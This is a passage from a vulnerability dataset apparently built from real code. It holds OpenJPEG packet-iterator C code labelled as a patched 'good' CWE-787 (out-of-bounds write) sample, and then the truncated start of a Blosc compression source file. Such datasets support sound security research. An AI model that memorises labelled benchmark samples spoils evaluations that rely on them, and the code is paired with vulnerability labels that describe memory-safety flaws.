< p_cp->tw * p_cp->th); /* initializations*/ l_tcp = &p_cp->tcps [p_tileno]; /* number of iterations in the loop */ l_poc_bound = l_tcp->numpocs+1; /* start at first element, and to make sure the compiler will not make a calculation each time in the loop store a pointer to the current element to modify rather than l_tcp->pocs[i]*/ l_current_poc = l_tcp->pocs; l_current_poc->compS = l_current_poc->compno0; l_current_poc->compE = l_current_poc->compno1; l_current_poc->resS = l_current_poc->resno0; l_current_poc->resE = l_current_poc->resno1; l_current_poc->layE = l_current_poc->layno1; /* special treatment for the first element*/ l_current_poc->layS = 0; l_current_poc->prg = l_current_poc->prg1; l_current_poc->prcS = 0; l_current_poc->prcE = p_max_prec; l_current_poc->txS = (OPJ_UINT32)p_tx0; l_current_poc->txE = (OPJ_UINT32)p_tx1; l_current_poc->tyS = (OPJ_UINT32)p_ty0; l_current_poc->tyE = (OPJ_UINT32)p_ty1; l_current_poc->dx = p_dx_min; l_current_poc->dy = p_dy_min; ++ l_current_poc; for (pino = 1;pino < l_poc_bound ; ++pino) { l_current_poc->compS = l_current_poc->compno0; l_current_poc->compE= l_current_poc->compno1; l_current_poc->resS = l_current_poc->resno0; l_current_poc->resE = l_current_poc->resno1; l_current_poc->layE = l_current_poc->layno1; l_current_poc->prg = l_current_poc->prg1; l_current_poc->prcS = 0; /* special treatment here different from the first element*/ l_current_poc->layS = (l_current_poc->layE > (l_current_poc-1)->layE) ? l_current_poc->layE : 0; l_current_poc->prcE = p_max_prec; l_current_poc->txS = (OPJ_UINT32)p_tx0; l_current_poc->txE = (OPJ_UINT32)p_tx1; l_current_poc->tyS = (OPJ_UINT32)p_ty0; l_current_poc->tyE = (OPJ_UINT32)p_ty1; l_current_poc->dx = p_dx_min; l_current_poc->dy = p_dy_min; ++ l_current_poc; } } static void opj_pi_update_encode_not_poc ( opj_cp_t *p_cp, OPJ_UINT32 p_num_comps, OPJ_UINT32 p_tileno, OPJ_INT32 p_tx0, OPJ_INT32 p_tx1, OPJ_INT32 p_ty0, OPJ_INT32 p_ty1, OPJ_UINT32 p_max_prec, OPJ_UINT32 p_max_res, OPJ_UINT32 p_dx_min, OPJ_UINT32 p_dy_min) { /* loop*/ OPJ_UINT32 pino; /* tile coding parameter*/ opj_tcp_t *l_tcp = 00; /* current poc being updated*/ opj_poc_t * l_current_poc = 00; /* number of pocs*/ OPJ_UINT32 l_poc_bound; /* preconditions in debug*/ assert(p_cp != 00); assert(p_tileno < p_cp->tw * p_cp->th); /* initializations*/ l_tcp = &p_cp->tcps [p_tileno]; /* number of iterations in the loop */ l_poc_bound = l_tcp->numpocs+1; /* start at first element, and to make sure the compiler will not make a calculation each time in the loop store a pointer to the current element to modify rather than l_tcp->pocs[i]*/ l_current_poc = l_tcp->pocs; for (pino = 0; pino < l_poc_bound ; ++pino) { l_current_poc->compS = 0; l_current_poc->compE = p_num_comps;/*p_image->numcomps;*/ l_current_poc->resS = 0; l_current_poc->resE = p_max_res; l_current_poc->layS = 0; l_current_poc->layE = l_tcp->numlayers; l_current_poc->prg = l_tcp->prg; l_current_poc->prcS = 0; l_current_poc->prcE = p_max_prec; l_current_poc->txS = (OPJ_UINT32)p_tx0; l_current_poc->txE = (OPJ_UINT32)p_tx1; l_current_poc->tyS = (OPJ_UINT32)p_ty0; l_current_poc->tyE = (OPJ_UINT32)p_ty1; l_current_poc->dx = p_dx_min; l_current_poc->dy = p_dy_min; ++ l_current_poc; } } static void opj_pi_update_decode_poc (opj_pi_iterator_t * p_pi, opj_tcp_t * p_tcp, OPJ_UINT32 p_max_precision, OPJ_UINT32 p_max_res) { /* loop*/ OPJ_UINT32 pino; /* encoding prameters to set*/ OPJ_UINT32 l_bound; opj_pi_iterator_t * l_current_pi = 00; opj_poc_t* l_current_poc = 0; OPJ_ARG_NOT_USED(p_max_res); /* preconditions in debug*/ assert(p_pi != 00); assert(p_tcp != 00); /* initializations*/ l_bound = p_tcp->numpocs+1; l_current_pi = p_pi; l_current_poc = p_tcp->pocs; for (pino = 0;pino<l_bound;++pino) { l_current_pi->poc.prg = l_current_poc->prg; /* Progression Order #0 */ l_current_pi->first = 1; l_current_pi->poc.resno0 = l_current_poc->resno0; /* Resolution Level Index #0 (Start) */ l_current_pi->poc.compno0 = l_current_poc->compno0; /* Component Index #0 (Start) */ l_current_pi->poc.layno0 = 0; l_current_pi->poc.precno0 = 0; l_current_pi->poc.resno1 = l_current_poc->resno1; /* Resolution Level Index #0 (End) */ l_current_pi->poc.compno1 = l_current_poc->compno1; /* Component Index #0 (End) */ l_current_pi->poc.layno1 = l_current_poc->layno1; /* Layer Index #0 (End) */ l_current_pi->poc.precno1 = p_max_precision; ++l_current_pi; ++l_current_poc; } } static void opj_pi_update_decode_not_poc (opj_pi_iterator_t * p_pi, opj_tcp_t * p_tcp, OPJ_UINT32 p_max_precision, OPJ_UINT32 p_max_res) { /* loop*/ OPJ_UINT32 pino; /* encoding prameters to set*/ OPJ_UINT32 l_bound; opj_pi_iterator_t * l_current_pi = 00; /* preconditions in debug*/ assert(p_tcp != 00); assert(p_pi != 00); /* initializations*/ l_bound = p_tcp->numpocs+1; l_current_pi = p_pi; for (pino = 0;pino<l_bound;++pino) { l_current_pi->poc.prg = p_tcp->prg; l_current_pi->first = 1; l_current_pi->poc.resno0 = 0; l_current_pi->poc.compno0 = 0; l_current_pi->poc.layno0 = 0; l_current_pi->poc.precno0 = 0; l_current_pi->poc.resno1 = p_max_res; l_current_pi->poc.compno1 = l_current_pi->numcomps; l_current_pi->poc.layno1 = p_tcp->numlayers; l_current_pi->poc.precno1 = p_max_precision; ++l_current_pi; } } static OPJ_BOOL opj_pi_check_next_level( OPJ_INT32 pos, opj_cp_t *cp, OPJ_UINT32 tileno, OPJ_UINT32 pino, const OPJ_CHAR *prog) { OPJ_INT32 i; opj_tcp_t *tcps =&cp->tcps[tileno]; opj_poc_t *tcp = &tcps->pocs[pino]; if(pos>=0){ for(i=pos;pos>=0;i--){ switch(prog[i]){ case 'R': if(tcp->res_t==tcp->resE){ if(opj_pi_check_next_level(pos-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; } break; case 'C': if(tcp->comp_t==tcp->compE){ if(opj_pi_check_next_level(pos-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; } break; case 'L': if(tcp->lay_t==tcp->layE){ if(opj_pi_check_next_level(pos-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; } break; case 'P': switch(tcp->prg){ case OPJ_LRCP: /* fall through */ case OPJ_RLCP: if(tcp->prc_t == tcp->prcE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; } break; default: if(tcp->tx0_t == tcp->txE){ /*TY*/ if(tcp->ty0_t == tcp->tyE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; }/*TY*/ }else{ return OPJ_TRUE; } break; }/*end case P*/ }/*end switch*/ }/*end for*/ }/*end if*/ return OPJ_FALSE; } /* ========================================================== Packet iterator interface ========================================================== */ opj_pi_iterator_t *opj_pi_create_decode(opj_image_t *p_image, opj_cp_t *p_cp, OPJ_UINT32 p_tile_no) { /* loop */ OPJ_UINT32 pino; OPJ_UINT32 compno, resno; /* to store w, h, dx and dy fro all components and resolutions */ OPJ_UINT32 * l_tmp_data; OPJ_UINT32 ** l_tmp_ptr; /* encoding prameters to set */ OPJ_UINT32 l_max_res; OPJ_UINT32 l_max_prec; OPJ_INT32 l_tx0,l_tx1,l_ty0,l_ty1; OPJ_UINT32 l_dx_min,l_dy_min; OPJ_UINT32 l_bound; OPJ_UINT32 l_step_p , l_step_c , l_step_r , l_step_l ; OPJ_UINT32 l_data_stride; /* pointers */ opj_pi_iterator_t *l_pi = 00; opj_tcp_t *l_tcp = 00; const opj_tccp_t *l_tccp = 00; opj_pi_comp_t *l_current_comp = 00; opj_image_comp_t * l_img_comp = 00; opj_pi_iterator_t * l_current_pi = 00; OPJ_UINT32 * l_encoding_value_ptr = 00; /* preconditions in debug */ assert(p_cp != 00); assert(p_image != 00); assert(p_tile_no < p_cp->tw * p_cp->th); /* initializations */ l_tcp = &p_cp->tcps[p_tile_no]; l_bound = l_tcp->numpocs+1; l_data_stride = 4 * OPJ_J2K_MAXRLVLS; l_tmp_data = (OPJ_UINT32*)opj_malloc( l_data_stride * p_image->numcomps * sizeof(OPJ_UINT32)); if (! l_tmp_data) { return 00; } l_tmp_ptr = (OPJ_UINT32**)opj_malloc( p_image->numcomps * sizeof(OPJ_UINT32 *)); if (! l_tmp_ptr) { opj_free(l_tmp_data); return 00; } /* memory allocation for pi */ l_pi = opj_pi_create(p_image, p_cp, p_tile_no); if (!l_pi) { opj_free(l_tmp_data); opj_free(l_tmp_ptr); return 00; } l_encoding_value_ptr = l_tmp_data; /* update pointer array */ for (compno = 0; compno < p_image->numcomps; ++compno) { l_tmp_ptr[compno] = l_encoding_value_ptr; l_encoding_value_ptr += l_data_stride; } /* get encoding parameters */ opj_get_all_encoding_parameters(p_image,p_cp,p_tile_no,&l_tx0,&l_tx1,&l_ty0,&l_ty1,&l_dx_min,&l_dy_min,&l_max_prec,&l_max_res,l_tmp_ptr); /* step calculations */ l_step_p = 1; l_step_c = l_max_prec * l_step_p; l_step_r = p_image->numcomps * l_step_c; l_step_l = l_max_res * l_step_r; /* set values for first packet iterator */ l_current_pi = l_pi; /* memory allocation for include */ /* prevent an integer overflow issue */ l_current_pi->include = 00; if (l_step_l <= (SIZE_MAX / (l_tcp->numlayers + 1U))) { l_current_pi->include = (OPJ_INT16*) opj_calloc((size_t)(l_tcp->numlayers + 1U) * l_step_l, sizeof(OPJ_INT16)); } if (!l_current_pi->include) { opj_free(l_tmp_data); opj_free(l_tmp_ptr); opj_pi_destroy(l_pi, l_bound); return 00; } /* special treatment for the first packet iterator */ l_current_comp = l_current_pi->comps; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; l_current_pi->tx0 = l_tx0; l_current_pi->ty0 = l_ty0; l_current_pi->tx1 = l_tx1; l_current_pi->ty1 = l_ty1; /*l_current_pi->dx = l_img_comp->dx;*/ /*l_current_pi->dy = l_img_comp->dy;*/ l_current_pi->step_p = l_step_p; l_current_pi->step_c = l_step_c; l_current_pi->step_r = l_step_r; l_current_pi->step_l = l_step_l; /* allocation for components and number of components has already been calculated by opj_pi_create */ for (compno = 0; compno < l_current_pi->numcomps; ++compno) { opj_pi_resolution_t *l_res = l_current_comp->resolutions; l_encoding_value_ptr = l_tmp_ptr[compno]; l_current_comp->dx = l_img_comp->dx; l_current_comp->dy = l_img_comp->dy; /* resolutions have already been initialized */ for (resno = 0; resno < l_current_comp->numresolutions; resno++) { l_res->pdx = *(l_encoding_value_ptr++); l_res->pdy = *(l_encoding_value_ptr++); l_res->pw = *(l_encoding_value_ptr++); l_res->ph = *(l_encoding_value_ptr++); ++l_res; } ++l_current_comp; ++l_img_comp; ++l_tccp; } ++l_current_pi; for (pino = 1 ; pino<l_bound ; ++pino ) { l_current_comp = l_current_pi->comps; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; l_current_pi->tx0 = l_tx0; l_current_pi->ty0 = l_ty0; l_current_pi->tx1 = l_tx1; l_current_pi->ty1 = l_ty1; /*l_current_pi->dx = l_dx_min;*/ /*l_current_pi->dy = l_dy_min;*/ l_current_pi->step_p = l_step_p; l_current_pi->step_c = l_step_c; l_current_pi->step_r = l_step_r; l_current_pi->step_l = l_step_l; /* allocation for components and number of components has already been calculated by opj_pi_create */ for (compno = 0; compno < l_current_pi->numcomps; ++compno) { opj_pi_resolution_t *l_res = l_current_comp->resolutions; l_encoding_value_ptr = l_tmp_ptr[compno]; l_current_comp->dx = l_img_comp->dx; l_current_comp->dy = l_img_comp->dy; /* resolutions have already been initialized */ for (resno = 0; resno < l_current_comp->numresolutions; resno++) { l_res->pdx = *(l_encoding_value_ptr++); l_res->pdy = *(l_encoding_value_ptr++); l_res->pw = *(l_encoding_value_ptr++); l_res->ph = *(l_encoding_value_ptr++); ++l_res; } ++l_current_comp; ++l_img_comp; ++l_tccp; } /* special treatment*/ l_current_pi->include = (l_current_pi-1)->include; ++l_current_pi; } opj_free(l_tmp_data); l_tmp_data = 00; opj_free(l_tmp_ptr); l_tmp_ptr = 00; if (l_tcp->POC) { opj_pi_update_decode_poc (l_pi,l_tcp,l_max_prec,l_max_res); } else { opj_pi_update_decode_not_poc(l_pi,l_tcp,l_max_prec,l_max_res); } return l_pi; } opj_pi_iterator_t *opj_pi_initialise_encode(const opj_image_t *p_image, opj_cp_t *p_cp, OPJ_UINT32 p_tile_no, J2K_T2_MODE p_t2_mode ) { /* loop*/ OPJ_UINT32 pino; OPJ_UINT32 compno, resno; /* to store w, h, dx and dy fro all components and resolutions*/ OPJ_UINT32 * l_tmp_data; OPJ_UINT32 ** l_tmp_ptr; /* encoding prameters to set*/ OPJ_UINT32 l_max_res; OPJ_UINT32 l_max_prec; OPJ_INT32 l_tx0,l_tx1,l_ty0,l_ty1; OPJ_UINT32 l_dx_min,l_dy_min; OPJ_UINT32 l_bound; OPJ_UINT32 l_step_p , l_step_c , l_step_r , l_step_l ; OPJ_UINT32 l_data_stride; /* pointers*/ opj_pi_iterator_t *l_pi = 00; opj_tcp_t *l_tcp = 00; const opj_tccp_t *l_tccp = 00; opj_pi_comp_t *l_current_comp = 00; opj_image_comp_t * l_img_comp = 00; opj_pi_iterator_t * l_current_pi = 00; OPJ_UINT32 * l_encoding_value_ptr = 00; /* preconditions in debug*/ assert(p_cp != 00); assert(p_image != 00); assert(p_tile_no < p_cp->tw * p_cp->th); /* initializations*/ l_tcp = &p_cp->tcps[p_tile_no]; l_bound = l_tcp->numpocs+1; l_data_stride = 4 * OPJ_J2K_MAXRLVLS; l_tmp_data = (OPJ_UINT32*)opj_malloc( l_data_stride * p_image->numcomps * sizeof(OPJ_UINT32)); if (! l_tmp_data) { return 00; } l_tmp_ptr = (OPJ_UINT32**)opj_malloc( p_image->numcomps * sizeof(OPJ_UINT32 *)); if (! l_tmp_ptr) { opj_free(l_tmp_data); return 00; } /* memory allocation for pi*/ l_pi = opj_pi_create(p_image,p_cp,p_tile_no); if (!l_pi) { opj_free(l_tmp_data); opj_free(l_tmp_ptr); return 00; } l_encoding_value_ptr = l_tmp_data; /* update pointer array*/ for (compno = 0; compno < p_image->numcomps; ++compno) { l_tmp_ptr[compno] = l_encoding_value_ptr; l_encoding_value_ptr += l_data_stride; } /* get encoding parameters*/ opj_get_all_encoding_parameters(p_image,p_cp,p_tile_no,&l_tx0,&l_tx1,&l_ty0,&l_ty1,&l_dx_min,&l_dy_min,&l_max_prec,&l_max_res,l_tmp_ptr); /* step calculations*/ l_step_p = 1; l_step_c = l_max_prec * l_step_p; l_step_r = p_image->numcomps * l_step_c; l_step_l = l_max_res * l_step_r; /* set values for first packet iterator*/ l_pi->tp_on = (OPJ_BYTE)p_cp->m_specific_param.m_enc.m_tp_on; l_current_pi = l_pi; /* memory allocation for include*/ l_current_pi->include = (OPJ_INT16*) opj_calloc(l_tcp->numlayers * l_step_l, sizeof(OPJ_INT16)); if (!l_current_pi->include) { opj_free(l_tmp_data); opj_free(l_tmp_ptr); opj_pi_destroy(l_pi, l_bound); return 00; } /* special treatment for the first packet iterator*/ l_current_comp = l_current_pi->comps; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; l_current_pi->tx0 = l_tx0; l_current_pi->ty0 = l_ty0; l_current_pi->tx1 = l_tx1; l_current_pi->ty1 = l_ty1; l_current_pi->dx = l_dx_min; l_current_pi->dy = l_dy_min; l_current_pi->step_p = l_step_p; l_current_pi->step_c = l_step_c; l_current_pi->step_r = l_step_r; l_current_pi->step_l = l_step_l; /* allocation for components and number of components has already been calculated by opj_pi_create */ for (compno = 0; compno < l_current_pi->numcomps; ++compno) { opj_pi_resolution_t *l_res = l_current_comp->resolutions; l_encoding_value_ptr = l_tmp_ptr[compno]; l_current_comp->dx = l_img_comp->dx; l_current_comp->dy = l_img_comp->dy; /* resolutions have already been initialized */ for (resno = 0; resno < l_current_comp->numresolutions; resno++) { l_res->pdx = *(l_encoding_value_ptr++); l_res->pdy = *(l_encoding_value_ptr++); l_res->pw = *(l_encoding_value_ptr++); l_res->ph = *(l_encoding_value_ptr++); ++l_res; } ++l_current_comp; ++l_img_comp; ++l_tccp; } ++l_current_pi; for (pino = 1 ; pino<l_bound ; ++pino ) { l_current_comp = l_current_pi->comps; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; l_current_pi->tx0 = l_tx0; l_current_pi->ty0 = l_ty0; l_current_pi->tx1 = l_tx1; l_current_pi->ty1 = l_ty1; l_current_pi->dx = l_dx_min; l_current_pi->dy = l_dy_min; l_current_pi->step_p = l_step_p; l_current_pi->step_c = l_step_c; l_current_pi->step_r = l_step_r; l_current_pi->step_l = l_step_l; /* allocation for components and number of components has already been calculated by opj_pi_create */ for (compno = 0; compno < l_current_pi->numcomps; ++compno) { opj_pi_resolution_t *l_res = l_current_comp->resolutions; l_encoding_value_ptr = l_tmp_ptr[compno]; l_current_comp->dx = l_img_comp->dx; l_current_comp->dy = l_img_comp->dy; /* resolutions have already been initialized */ for (resno = 0; resno < l_current_comp->numresolutions; resno++) { l_res->pdx = *(l_encoding_value_ptr++); l_res->pdy = *(l_encoding_value_ptr++); l_res->pw = *(l_encoding_value_ptr++); l_res->ph = *(l_encoding_value_ptr++); ++l_res; } ++l_current_comp; ++l_img_comp; ++l_tccp; } /* special treatment*/ l_current_pi->include = (l_current_pi-1)->include; ++l_current_pi; } opj_free(l_tmp_data); l_tmp_data = 00; opj_free(l_tmp_ptr); l_tmp_ptr = 00; if (l_tcp->POC && (OPJ_IS_CINEMA(p_cp->rsiz) || p_t2_mode == FINAL_PASS)) { opj_pi_update_encode_poc_and_final(p_cp,p_tile_no,l_tx0,l_tx1,l_ty0,l_ty1,l_max_prec,l_max_res,l_dx_min,l_dy_min); } else { opj_pi_update_encode_not_poc(p_cp,p_image->numcomps,p_tile_no,l_tx0,l_tx1,l_ty0,l_ty1,l_max_prec,l_max_res,l_dx_min,l_dy_min); } return l_pi; } void opj_pi_create_encode( opj_pi_iterator_t *pi, opj_cp_t *cp, OPJ_UINT32 tileno, OPJ_UINT32 pino, OPJ_UINT32 tpnum, OPJ_INT32 tppos, J2K_T2_MODE t2_mode) { const OPJ_CHAR *prog; OPJ_INT32 i; OPJ_UINT32 incr_top=1,resetX=0; opj_tcp_t *tcps =&cp->tcps[tileno]; opj_poc_t *tcp= &tcps->pocs[pino]; prog = opj_j2k_convert_progression_order(tcp->prg); pi[pino].first = 1; pi[pino].poc.prg = tcp->prg; if(!(cp->m_specific_param.m_enc.m_tp_on && ((!OPJ_IS_CINEMA(cp->rsiz) && (t2_mode == FINAL_PASS)) || OPJ_IS_CINEMA(cp->rsiz)))){ pi[pino].poc.resno0 = tcp->resS; pi[pino].poc.resno1 = tcp->resE; pi[pino].poc.compno0 = tcp->compS; pi[pino].poc.compno1 = tcp->compE; pi[pino].poc.layno0 = tcp->layS; pi[pino].poc.layno1 = tcp->layE; pi[pino].poc.precno0 = tcp->prcS; pi[pino].poc.precno1 = tcp->prcE; pi[pino].poc.tx0 = (OPJ_INT32)tcp->txS; pi[pino].poc.ty0 = (OPJ_INT32)tcp->tyS; pi[pino].poc.tx1 = (OPJ_INT32)tcp->txE; pi[pino].poc.ty1 = (OPJ_INT32)tcp->tyE; }else { for(i=tppos+1;i<4;i++){ switch(prog[i]){ case 'R': pi[pino].poc.resno0 = tcp->resS; pi[pino].poc.resno1 = tcp->resE; break; case 'C': pi[pino].poc.compno0 = tcp->compS; pi[pino].poc.compno1 = tcp->compE; break; case 'L': pi[pino].poc.layno0 = tcp->layS; pi[pino].poc.layno1 = tcp->layE; break; case 'P': switch(tcp->prg){ case OPJ_LRCP: case OPJ_RLCP: pi[pino].poc.precno0 = tcp->prcS; pi[pino].poc.precno1 = tcp->prcE; break; default: pi[pino].poc.tx0 = (OPJ_INT32)tcp->txS; pi[pino].poc.ty0 = (OPJ_INT32)tcp->tyS; pi[pino].poc.tx1 = (OPJ_INT32)tcp->txE; pi[pino].poc.ty1 = (OPJ_INT32)tcp->tyE; break; } break; } } if(tpnum==0){ for(i=tppos;i>=0;i--){ switch(prog[i]){ case 'C': tcp->comp_t = tcp->compS; pi[pino].poc.compno0 = tcp->comp_t; pi[pino].poc.compno1 = tcp->comp_t+1; tcp->comp_t+=1; break; case 'R': tcp->res_t = tcp->resS; pi[pino].poc.resno0 = tcp->res_t; pi[pino].poc.resno1 = tcp->res_t+1; tcp->res_t+=1; break; case 'L': tcp->lay_t = tcp->layS; pi[pino].poc.layno0 = tcp->lay_t; pi[pino].poc.layno1 = tcp->lay_t+1; tcp->lay_t+=1; break; case 'P': switch(tcp->prg){ case OPJ_LRCP: case OPJ_RLCP: tcp->prc_t = tcp->prcS; pi[pino].poc.precno0 = tcp->prc_t; pi[pino].poc.precno1 = tcp->prc_t+1; tcp->prc_t+=1; break; default: tcp->tx0_t = tcp->txS; tcp->ty0_t = tcp->tyS; pi[pino].poc.tx0 = (OPJ_INT32)tcp->tx0_t; pi[pino].poc.tx1 = (OPJ_INT32)(tcp->tx0_t + tcp->dx - (tcp->tx0_t % tcp->dx)); pi[pino].poc.ty0 = (OPJ_INT32)tcp->ty0_t; pi[pino].poc.ty1 = (OPJ_INT32)(tcp->ty0_t + tcp->dy - (tcp->ty0_t % tcp->dy)); tcp->tx0_t = (OPJ_UINT32)pi[pino].poc.tx1; tcp->ty0_t = (OPJ_UINT32)pi[pino].poc.ty1; break; } break; } } incr_top=1; }else{ for(i=tppos;i>=0;i--){ switch(prog[i]){ case 'C': pi[pino].poc.compno0 = tcp->comp_t-1; pi[pino].poc.compno1 = tcp->comp_t; break; case 'R': pi[pino].poc.resno0 = tcp->res_t-1; pi[pino].poc.resno1 = tcp->res_t; break; case 'L': pi[pino].poc.layno0 = tcp->lay_t-1; pi[pino].poc.layno1 = tcp->lay_t; break; case 'P': switch(tcp->prg){ case OPJ_LRCP: case OPJ_RLCP: pi[pino].poc.precno0 = tcp->prc_t-1; pi[pino].poc.precno1 = tcp->prc_t; break; default: pi[pino].poc.tx0 = (OPJ_INT32)(tcp->tx0_t - tcp->dx - (tcp->tx0_t % tcp->dx)); pi[pino].poc.tx1 = (OPJ_INT32)tcp->tx0_t ; pi[pino].poc.ty0 = (OPJ_INT32)(tcp->ty0_t - tcp->dy - (tcp->ty0_t % tcp->dy)); pi[pino].poc.ty1 = (OPJ_INT32)tcp->ty0_t ; break; } break; } if(incr_top==1){ switch(prog[i]){ case 'R': if(tcp->res_t==tcp->resE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->res_t = tcp->resS; pi[pino].poc.resno0 = tcp->res_t; pi[pino].poc.resno1 = tcp->res_t+1; tcp->res_t+=1; incr_top=1; }else{ incr_top=0; } }else{ pi[pino].poc.resno0 = tcp->res_t; pi[pino].poc.resno1 = tcp->res_t+1; tcp->res_t+=1; incr_top=0; } break; case 'C': if(tcp->comp_t ==tcp->compE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->comp_t = tcp->compS; pi[pino].poc.compno0 = tcp->comp_t; pi[pino].poc.compno1 = tcp->comp_t+1; tcp->comp_t+=1; incr_top=1; }else{ incr_top=0; } }else{ pi[pino].poc.compno0 = tcp->comp_t; pi[pino].poc.compno1 = tcp->comp_t+1; tcp->comp_t+=1; incr_top=0; } break; case 'L': if(tcp->lay_t == tcp->layE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->lay_t = tcp->layS; pi[pino].poc.layno0 = tcp->lay_t; pi[pino].poc.layno1 = tcp->lay_t+1; tcp->lay_t+=1; incr_top=1; }else{ incr_top=0; } }else{ pi[pino].poc.layno0 = tcp->lay_t; pi[pino].poc.layno1 = tcp->lay_t+1; tcp->lay_t+=1; incr_top=0; } break; case 'P': switch(tcp->prg){ case OPJ_LRCP: case OPJ_RLCP: if(tcp->prc_t == tcp->prcE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->prc_t = tcp->prcS; pi[pino].poc.precno0 = tcp->prc_t; pi[pino].poc.precno1 = tcp->prc_t+1; tcp->prc_t+=1; incr_top=1; }else{ incr_top=0; } }else{ pi[pino].poc.precno0 = tcp->prc_t; pi[pino].poc.precno1 = tcp->prc_t+1; tcp->prc_t+=1; incr_top=0; } break; default: if(tcp->tx0_t >= tcp->txE){ if(tcp->ty0_t >= tcp->tyE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->ty0_t = tcp->tyS; pi[pino].poc.ty0 = (OPJ_INT32)tcp->ty0_t; pi[pino].poc.ty1 = (OPJ_INT32)(tcp->ty0_t + tcp->dy - (tcp->ty0_t % tcp->dy)); tcp->ty0_t = (OPJ_UINT32)pi[pino].poc.ty1; incr_top=1;resetX=1; }else{ incr_top=0;resetX=0; } }else{ pi[pino].poc.ty0 = (OPJ_INT32)tcp->ty0_t; pi[pino].poc.ty1 = (OPJ_INT32)(tcp->ty0_t + tcp->dy - (tcp->ty0_t % tcp->dy)); tcp->ty0_t = (OPJ_UINT32)pi[pino].poc.ty1; incr_top=0;resetX=1; } if(resetX==1){ tcp->tx0_t = tcp->txS; pi[pino].poc.tx0 = (OPJ_INT32)tcp->tx0_t; pi[pino].poc.tx1 = (OPJ_INT32)(tcp->tx0_t + tcp->dx- (tcp->tx0_t % tcp->dx)); tcp->tx0_t = (OPJ_UINT32)pi[pino].poc.tx1; } }else{ pi[pino].poc.tx0 = (OPJ_INT32)tcp->tx0_t; pi[pino].poc.tx1 = (OPJ_INT32)(tcp->tx0_t + tcp->dx- (tcp->tx0_t % tcp->dx)); tcp->tx0_t = (OPJ_UINT32)pi[pino].poc.tx1; incr_top=0; } break; } break; } } } } } } void opj_pi_destroy(opj_pi_iterator_t *p_pi, OPJ_UINT32 p_nb_elements) { OPJ_UINT32 compno, pino; opj_pi_iterator_t *l_current_pi = p_pi; if (p_pi) { if (p_pi->include) { opj_free(p_pi->include); p_pi->include = 00; } for (pino = 0; pino < p_nb_elements; ++pino){ if(l_current_pi->comps) { opj_pi_comp_t *l_current_component = l_current_pi->comps; for (compno = 0; compno < l_current_pi->numcomps; compno++){ if(l_current_component->resolutions) { opj_free(l_current_component->resolutions); l_current_component->resolutions = 00; } ++l_current_component; } opj_free(l_current_pi->comps); l_current_pi->comps = 0; } ++l_current_pi; } opj_free(p_pi); } } void opj_pi_update_encoding_parameters( const opj_image_t *p_image, opj_cp_t *p_cp, OPJ_UINT32 p_tile_no ) { /* encoding parameters to set */ OPJ_UINT32 l_max_res; OPJ_UINT32 l_max_prec; OPJ_INT32 l_tx0,l_tx1,l_ty0,l_ty1; OPJ_UINT32 l_dx_min,l_dy_min; /* pointers */ opj_tcp_t *l_tcp = 00; /* preconditions */ assert(p_cp != 00); assert(p_image != 00); assert(p_tile_no < p_cp->tw * p_cp->th); l_tcp = &(p_cp->tcps[p_tile_no]); /* get encoding parameters */ opj_get_encoding_parameters(p_image,p_cp,p_tile_no,&l_tx0,&l_tx1,&l_ty0,&l_ty1,&l_dx_min,&l_dy_min,&l_max_prec,&l_max_res); if (l_tcp->POC) { opj_pi_update_encode_poc_and_final(p_cp,p_tile_no,l_tx0,l_tx1,l_ty0,l_ty1,l_max_prec,l_max_res,l_dx_min,l_dy_min); } else { opj_pi_update_encode_not_poc(p_cp,p_image->numcomps,p_tile_no,l_tx0,l_tx1,l_ty0,l_ty1,l_max_prec,l_max_res,l_dx_min,l_dy_min); } } OPJ_BOOL opj_pi_next(opj_pi_iterator_t * pi) { switch (pi->poc.prg) { case OPJ_LRCP: return opj_pi_next_lrcp(pi); case OPJ_RLCP: return opj_pi_next_rlcp(pi); case OPJ_RPCL: return opj_pi_next_rpcl(pi); case OPJ_PCRL: return opj_pi_next_pcrl(pi); case OPJ_CPRL: return opj_pi_next_cprl(pi); case OPJ_PROG_UNKNOWN: return OPJ_FALSE; } return OPJ_FALSE; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_5273_0
crossvul-cpp_data_good_4464_0
/********************************************************************* Blosc - Blocked Shuffling and Compression Library Author: Francesc Alted <francesc@blosc.org> Creation date: 2009-05-20 See LICENSE.txt for details about copyright and rights to use. **********************************************************************/ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <assert.h> #include "blosc2.h" #include "blosc-private.h" #include "blosc2-common.h" #if defined(USING_CMAKE) #include "config.h" #endif /* USING_CMAKE */ #include "context.h" #include "shuffle.h" #include "delta.h" #include "trunc-prec.h" #include "blosclz.h" #include "btune.h" #if defined(HAVE_LZ4) #include "lz4.h" #include "lz4hc.h" #ifdef HAVE_IPP #include <ipps.h> #include <ippdc.h> #endif #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) #include "lizard_compress.h" #include "lizard_decompress.h" #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) #include "snappy-c.h" #endif /* HAVE_SNAPPY */ #if defined(HAVE_MINIZ) #include "miniz.c" #elif defined(HAVE_ZLIB) #include "zlib.h" #endif /* HAVE_MINIZ */ #if defined(HAVE_ZSTD) #include "zstd.h" #include "zstd_errors.h" // #include "cover.h" // for experimenting with fast cover training for building dicts #include "zdict.h" #endif /* HAVE_ZSTD */ #if defined(_WIN32) && !defined(__MINGW32__) #include <windows.h> #include <malloc.h> /* 